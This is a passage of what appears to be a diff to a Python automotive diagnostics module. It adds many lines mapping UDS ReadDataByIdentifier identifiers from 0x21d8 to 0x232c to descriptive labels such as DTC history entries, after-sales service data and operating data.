"dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21d8] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21d9] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21da] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21db] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21dc] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21dd] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21de] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21df] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21e0] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21e1] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21e2] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21e3] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21e4] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21e5] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21e6] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21e7] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21e8] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21e9] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21ea] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21eb] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21ec] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21ed] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21ee] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21ef] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21f0] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21f1] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21f2] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21f3] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21f4] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21f5] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21f6] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21f7] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21f8] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21f9] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21fa] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21fb] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21fc] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21fd] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21fe] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x21ff] = "dtcHistoryMemoryEntry 2101-21FF" +UDS_RDBI.dataIdentifiers[0x2200] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2201] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2202] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2203] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2204] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2205] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2206] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2207] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2208] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2209] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x220a] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x220b] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x220c] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x220d] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x220e] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x220f] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2210] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2211] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2212] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2213] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2214] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2215] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2216] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2217] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2218] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2219] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x221a] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x221b] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x221c] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x221d] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x221e] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x221f] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2220] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2221] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2222] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2223] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2224] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2225] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2226] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2227] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2228] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2229] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x222a] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x222b] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x222c] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x222d] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x222e] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x222f] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2230] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2231] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2232] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2233] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2234] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2235] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2236] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2237] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2238] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2239] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x223a] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x223b] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x223c] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x223d] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x223e] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x223f] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2240] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2241] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2242] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2243] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2244] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2245] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2246] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2247] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2248] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2249] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x224a] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x224b] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x224c] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x224d] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x224e] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x224f] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2250] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2251] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2252] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2253] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2254] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2255] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2256] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2257] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2258] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2259] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x225a] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x225b] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x225c] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x225d] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x225e] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x225f] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2260] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2261] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2262] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2263] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2264] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2265] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2266] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2267] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2268] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2269] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x226a] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x226b] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x226c] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x226d] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x226e] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x226f] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2270] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2271] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2272] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2273] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2274] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2275] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2276] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2277] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2278] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2279] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x227a] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x227b] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x227c] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x227d] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x227e] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x227f] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2280] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2281] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2282] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2283] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2284] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2285] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2286] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2287] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2288] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2289] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x228a] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x228b] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x228c] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x228d] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x228e] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x228f] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2290] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2291] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2292] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2293] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2294] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2295] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2296] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2297] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2298] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2299] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x229a] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x229b] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x229c] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x229d] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x229e] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x229f] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22a0] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22a1] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22a2] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22a3] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22a4] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22a5] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22a6] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22a7] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22a8] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22a9] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22aa] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22ab] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22ac] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22ad] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22ae] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22af] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22b0] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22b1] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22b2] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22b3] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22b4] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22b5] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22b6] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22b7] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22b8] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22b9] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22ba] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22bb] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22bc] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22bd] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22be] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22bf] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22c0] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22c1] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22c2] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22c3] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22c4] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22c5] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22c6] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22c7] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22c8] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22c9] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22ca] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22cb] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22cc] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22cd] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22ce] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22cf] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22d0] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22d1] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22d2] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22d3] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22d4] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22d5] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22d6] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22d7] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22d8] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22d9] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22da] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22db] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22dc] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22dd] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22de] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22df] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22e0] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22e1] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22e2] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22e3] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22e4] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22e5] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22e6] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22e7] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22e8] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22e9] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22ea] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22eb] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22ec] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22ed] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22ee] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22ef] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22f0] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22f1] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22f2] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22f3] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22f4] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22f5] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22f6] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22f7] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22f8] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22f9] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22fa] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22fb] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22fc] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22fd] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22fe] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x22ff] = "afterSalesServiceData_2200_22FF" +UDS_RDBI.dataIdentifiers[0x2300] = "operatingData" # or RDBCI_BETRIEBSDATEN_LESEN_REQ # noqa E501 +UDS_RDBI.dataIdentifiers[0x2301] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2302] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2303] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2304] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2305] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2306] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2307] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2308] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2309] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x230a] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x230b] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x230c] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x230d] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x230e] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x230f] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2310] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2311] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2312] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2313] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2314] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2315] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2316] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2317] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2318] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2319] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x231a] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x231b] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x231c] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x231d] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x231e] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x231f] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2320] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2321] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2322] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2323] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2324] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2325] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2326] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2327] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2328] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2329] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x232a] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x232b] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x232c] = "additionalOperatingData 2301-23FF" 